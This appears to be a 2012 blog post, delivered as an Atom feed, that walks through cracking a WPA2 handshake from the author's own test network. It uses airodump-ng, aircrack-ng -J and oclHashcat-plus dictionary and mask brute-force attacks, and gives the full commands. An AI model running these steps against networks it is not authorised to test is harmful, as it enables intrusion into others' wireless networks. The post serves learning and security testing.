<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8356530514965708840</id><updated>2012-02-14T10:11:29.134+01:00</updated><title type='text'>A day with Tape</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>40</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-824687154563459673</id><published>2012-02-06T17:42:00.018+01:00</published><updated>2012-02-11T10:07:08.061+01:00</updated><title type='text'>WPA Cracking with oclHashcat-plus</title><content type='html'>oclHashcat-plus is a CPU / GPU password cracker with a huge number of options able to&lt;br /&gt;handle a myriad of hash types.&lt;br /&gt;&lt;br /&gt;I will go through steps I took to test the cracking of a WPA2 .cap file from my test setup.&lt;br /&gt;&lt;br /&gt;I will be using BackTrack5 R1 to capture the .cap file with 4-way handshake and to create the required&lt;br /&gt;.hccap file but will carry out the actual cracking of the .hccap file on a Win7 PC.&lt;br /&gt;This as I am still worried that my knack of fubarring things up could prove life-threatening &amp;nbsp;if&amp;nbsp;I screw up a BTR1 HDD install on my main machine &amp;nbsp;;) so I'll stick with using a VM image for the time being..&lt;br /&gt;lols..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PREPARATION&lt;/b&gt;&lt;br /&gt;===============&lt;br /&gt;First things first, I want to use aircrack to create the .hccap file from a standard .cap file using the new&lt;br /&gt;-J option in aircrack as oclHashcat does not work with the standard .cap files.&lt;br /&gt;The aircrack version included on the stock install of BT5R1 does not yet have this option&amp;nbsp;-J included, so we need to get the latest and greatest from the aircrack site and do the&amp;nbsp;necessary to install.&lt;br /&gt;&lt;br /&gt;Grab the latest build of aircrack here (last one in the list at time of writing 06-02-2012 was r2061);&lt;br /&gt;&lt;a href="http://nightly.aircrack-ng.org/aircrack-ng/trunk/" target="_blank"&gt;http://nightly.aircrack-ng.org/aircrack-ng/trunk/&lt;/a&gt;&lt;br /&gt;extract and cd to directory;&lt;br /&gt;&lt;span style="color: lime;"&gt;tar -xzf aircrack-ng-trunk-2012-02-05-r2061.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cd&amp;nbsp;aircrack-ng-trunk-2012-02-05-r2061&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To be able to correctly install the latest aircrack some additional installs required before trying to install aircrack;&lt;br /&gt;(reference;&amp;nbsp;&lt;a href="http://hashcat.net/forum/thread-816.html" target="_blank"&gt;http://hashcat.net/forum/thread-816.html&lt;/a&gt;)&lt;br /&gt;&lt;span style="color: lime;"&gt;apt-get install libssl-dev&lt;/span&gt;&lt;br /&gt;&lt;i&gt;(I had previously installed this hence the mention already the newest version)&lt;/i&gt;&lt;br /&gt;Then from within the aircrack directory install with ;&lt;br /&gt;&lt;span style="color: lime;"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="369" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To update aircrack manually with previously downloaded files, there is a good detailed blogpost&lt;br /&gt;brought to my attention by a reader here&amp;nbsp;&lt;a href="http://www.kknd.com.br/security/01/" target="_blank"&gt;http://www.kknd.com.br/security/01/&lt;/a&gt;&amp;nbsp;on how&amp;nbsp;to do that.&lt;br /&gt;&lt;br /&gt;Using either of the above methods,&amp;nbsp;you should be ready to rock and roll with the latest aircrack-ng.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;u&gt;Edit 10-02-2012&lt;/u&gt;&lt;/div&gt;Backtrack repositories have been updated, the aircrack now included is&lt;br /&gt;v1.1 r2076, so;&lt;br /&gt;&lt;div style="color: lime;"&gt;apt-get update&amp;nbsp;&lt;/div&gt;&lt;span style="color: lime;"&gt;apt-get upgrade&lt;/span&gt;&lt;br /&gt;will also get you a current version of aircrack which includes the -J switch.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CAPTURING THE WPA HANDSHAKE&lt;/b&gt;&lt;br /&gt;===============&lt;br /&gt;To start the process of capturing the handshake first place the wireless interface in monitor mode using airmon-ng;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;airmon-ng&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="368" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and then fire up airodump with options to focus only on your target AP, in my case ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;airodump-ng mon0 &amp;nbsp;-c 11 -t wpa -d 98:FC:11:8E:0E:9C -w capture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When the handshake is captured, either by patiently waiting for a client to connect, or by forcing a&lt;br /&gt;connected client to disconnect/reconnect with for instance aireplay-ng, this will be noted at the top right hand side of the&amp;nbsp;airodump window.&lt;br /&gt;We can then stop airodump and verify that the handshake is captured with aircrack ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;aircrack-ng capture-01.cap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="368" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we have our .cap file with 4-way handshake, we need to convert it to .hccap format so that we&lt;br /&gt;can use oclHashcat on it.&lt;br /&gt;To do this we use the -J option in aircrack ;&lt;br /&gt;(&lt;i&gt;again, this option only available in the later aircrack builds, not in the stock install on BT5R1&lt;/i&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;aircrack-ng capture-01.cap -J capture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="492" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we have our .hccap file, I will be switching to my Win7 PC for the actual oclHashcat cracking.&lt;br /&gt;(yeah yeah..I know.. a bit of a fail... ;) )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;OCLHASHCAT-PLUS&lt;/b&gt;&lt;br /&gt;===============&lt;br /&gt;First of course to &lt;a href="http://hashcat.net/oclhashcat-plus/" target="_blank"&gt;download&lt;/a&gt; the latest oclHashcat-plus &lt;i&gt;(at time of writing 06-02-2012 v0.07)&lt;/i&gt; &amp;nbsp;if you haven't already done so and extract it to where you want,&amp;nbsp;I extracted all files to ;&lt;br /&gt;c:\oclHashcat\&lt;br /&gt;&lt;br /&gt;Open up the command prompt ;&lt;br /&gt;Start --&amp;gt; Run --&amp;gt; cmd&lt;br /&gt;And move to the directory where you extracted the oclHashcat files to, in my case ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cd c:\oclHashcat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I am running a 64bit Windows 7 system with an nVidia card (CUDA) so I need to run the cudaHashcat-plus64.exe file, with --help for further info ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe --help&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All the info may seem somewhat overwhelming, it certainly did to me, so herewith just a couple of&lt;br /&gt;examples on how it can be used.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;I copied the capture.hccap previously created to the oclHashcat directory on the Windows system as&lt;/i&gt;&lt;br /&gt;&lt;i&gt;'capture_fubar.hccap'&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DICTIONARY ATTACK&lt;/b&gt;&lt;br /&gt;===============&lt;br /&gt;I will be using the &lt;a href="http://www.skullsecurity.org/wiki/index.php/Passwords" target="_blank"&gt;rockyou&lt;/a&gt; dictionary as an example as it is a fairly large one, and copied&amp;nbsp;the rockyou.txt file to the oclHashcat directory for easy access.&lt;br /&gt;&lt;br /&gt;To start the crack, we need to specify ;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The version of oclHashcat we need to use&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;i&gt;in my case the 64bit version for cuda enabled cards, for ATI cards, you would use the ocl version.&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;-m [hash type #]&amp;nbsp;&lt;hash type=""&gt;(see number references for hash types at bottom of &amp;nbsp;help section)&lt;/hash&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;i&gt;in this case '2500' which is used for WPA/WPA2.&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The path to the hash file / hccap file&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;i&gt;in this case 'capture_fubar.hccap' in the same directory.&lt;/i&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The path to the dictionary we are using for the attack&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;i&gt;in this case 'rockyou.txt' in the same directory.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 capture_fubar.hccap rockyou.txt&lt;/span&gt;&lt;br /&gt;&lt;i&gt;Press 's' to get an updated status report (I hit enter first to create as space between status reports)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;oclHashcat went through over 11,5million passphrases in 2min15sec at around 54k passphrases a second..&lt;br /&gt;&lt;br /&gt;Increasing the load on the GPU with the -n option can increase performance and the number of passphrases checked per second ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -n 80 capture_fubar.hccap rockyou.txt&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl07.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So with the increased load on the GPU it went from around 54k passphrases/sec to around 64k passphrases/sec.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MASK (BRUTEFORCE) ATTACK&lt;/b&gt;&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From what I read oclHashcat-plus is not yet able to mask bruteforce in increments (so first testing 8 characters&amp;nbsp;then 9, then 10 etc) so you need to test that manually.&lt;br /&gt;However not completely sure on the bruteforce options to be honest&amp;nbsp;as I see in the&amp;nbsp;&lt;a href="http://hashcat.net/wiki/brute_force_attack" target="_blank"&gt;WIKI&lt;/a&gt;&amp;nbsp;there are specific&lt;br /&gt;bruteforce options mentioned, but I can't seem to get that working as of yet.&lt;br /&gt;Reading up ;)&lt;br /&gt;&lt;br /&gt;The masked bruteforce attack works by defining character sets to use (if custom character sets are required),&lt;br /&gt;and then uses the masks&amp;nbsp;to define in which position in the passphrase the charsets should be used.&lt;br /&gt;&lt;br /&gt;There are various predefined charsets, among which ;&lt;br /&gt;&lt;span style="color: yellow;"&gt;?l&lt;/span&gt; &amp;nbsp; -- lower case alpha&lt;br /&gt;&lt;span style="color: yellow;"&gt;?u&lt;/span&gt; &amp;nbsp;-- upper case alpha&lt;br /&gt;&lt;span style="color: yellow;"&gt;?d&lt;/span&gt; &amp;nbsp;-- numeric values&lt;br /&gt;&lt;span style="color: yellow;"&gt;?s&lt;/span&gt; &amp;nbsp;-- special characters including space&lt;br /&gt;&lt;br /&gt;To start a mask / bruteforce attack, you need to specify ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The version of oclHashcat you need to use&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;-m [hash type #]&amp;nbsp;&lt;hash type=""&gt;&amp;nbsp;(-m 2500 for WPA/WPA2)&lt;/hash&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; -a [attack mode #]&amp;nbsp;&lt;attack mode=""&gt;(-a 3 for bruteforce).&lt;/attack&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The custom character sets (if any).&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The path to the hash file / hccap file.&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;gt;&lt;/span&gt; The mask to use.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The mask used has to match the length of the password, so if testing for a 8 digit password&lt;br /&gt;you have to enter 8 mask entries.&lt;br /&gt;&lt;br /&gt;If for instance testing all uppercase values for an 8 character password&amp;nbsp;;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -a 3 capture.hccap ?u?u?u?u?u?u?u?u&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl08.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="478" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl08.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If testing for numeric values only for an 8 character password ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -a 3 capture.hccap ?d?d?d?d?d?d?d?d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl09.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="478" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl09.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If we know that for an 8 digit password the 1st 4 digits of the password are numeric values and the last 4 digits are upper case&amp;nbsp;values, then you would specify that as follows ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -a 3 capture.hccap ?d?d?d?d?u?u?u?u&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl010.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="478" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl010.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;CUSTOM CHARSETS&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;You can define upto 4 custom charsets to be used, this is done by using the switches ;&lt;br /&gt;-1, -2, -3, -4&lt;br /&gt;&lt;br /&gt;So thinking of our above dictionary crack, for the sake of argument, lets say we know the passphrase&lt;br /&gt;used is a 4 digit number only containing the numbers 1 2 3 4 &amp;nbsp;followed by 6 upper case values only containing the letters Y T R E W Q.&lt;br /&gt;&lt;br /&gt;We could create a custom charset containing the numbers 1234 and specify these to be used for the&lt;br /&gt;first 4 digits of the passphrase.&lt;br /&gt;and also create a second custom charset containing YTREWQ and specify these to be used for the last 6 digits of the passphrase.&lt;br /&gt;In the mask you would then specify where to use the 1st custom charset and where to use the 2nd custom charset with &lt;b&gt;?1&lt;/b&gt; for the 1st custom charset and &lt;b&gt;?2&lt;/b&gt; for the 2nd custom charset as follows&amp;nbsp;;&lt;br /&gt;&lt;i&gt;Of course this is not a terribly realistic scenario .. but hey, you get the idea..&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -a 3 -1 1234 -2 YTREWQ capture_fubar.hccap ?1?1?1?1?2?2?2?2?2?2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl011.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="478" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl011.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you were to actually &lt;i&gt;know&lt;/i&gt; that the first 4 digits of the passphrase are '1234' followed by 6 uppercase alpha values then you can define&amp;nbsp;the 1st 4 values of '1234' directly in the mask ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cudaHashcat-plus64.exe -m 2500 -a 3 -n 80 capture_fubar.hccap 1234?u?u?u?u?u?u&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl012.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ocl012.jpg" width="593" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course the above examples are for the purpose of explanation only and probably not realistic for real-world scenarios, but I hope it shows at least a small part of how oclHashcat-plus can work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;oclHashcat-plus is truly an awesome bit of kit, the speeds are certainly astonishing to me since I was used&lt;br /&gt;to non-GPU speeds before ;) 30 minutes to get through an 8 digit numeric wordlist ?!! awesome..&lt;br /&gt;And thats just on my nVidia GTX590 which&amp;nbsp;sux big time compared with the benchmarks I see on hashcat's site for the ATI cards..&lt;br /&gt;&lt;br /&gt;There are many, many other options I need to get my head around; rules, dictionary mangling, bruteforce, the list goes on and on .. &amp;nbsp;!&lt;br /&gt;A&amp;nbsp;lot more reading and testing required...&lt;br /&gt;&lt;br /&gt;A good hint is to to also checkout the GUI for oclHashcat, it gives you a quick visual view of the commands&lt;br /&gt;that you are using so that you can trouble shoot what you are doing wrong when trying just on the command line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If I messed up anywhere on the above, please comment on it, have just started out trying hashcat so learning as I go !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Linkage/Credits;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hashcat.net/oclhashcat-plus/" target="_blank"&gt;http://hashcat.net/oclhashcat-plus/&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://danielweis.wordpress.com/2011/10/13/gpu-password-cracking-of-wpa-using-airodump-oclhachcat-gui-a-basic-how-to/" target="_blank"&gt;http://danielweis.wordpress.com/2011/10/13/gpu-password-cracking-of-wpa-using-airodump-oclhachcat-gui-a-basic-how-to/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;d3ad0ne's awesomeness ;&lt;br /&gt;&lt;a href="http://ob-security.info/?p=31" target="_blank"&gt;http://ob-security.info/?p=31&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2010/10/your-password-cracking-system.html" target="_blank"&gt;http://pauldotcom.com/2010/10/your-password-cracking-system.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ob-security.info/?p=274" target="_blank"&gt;http://ob-security.info/?p=274&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 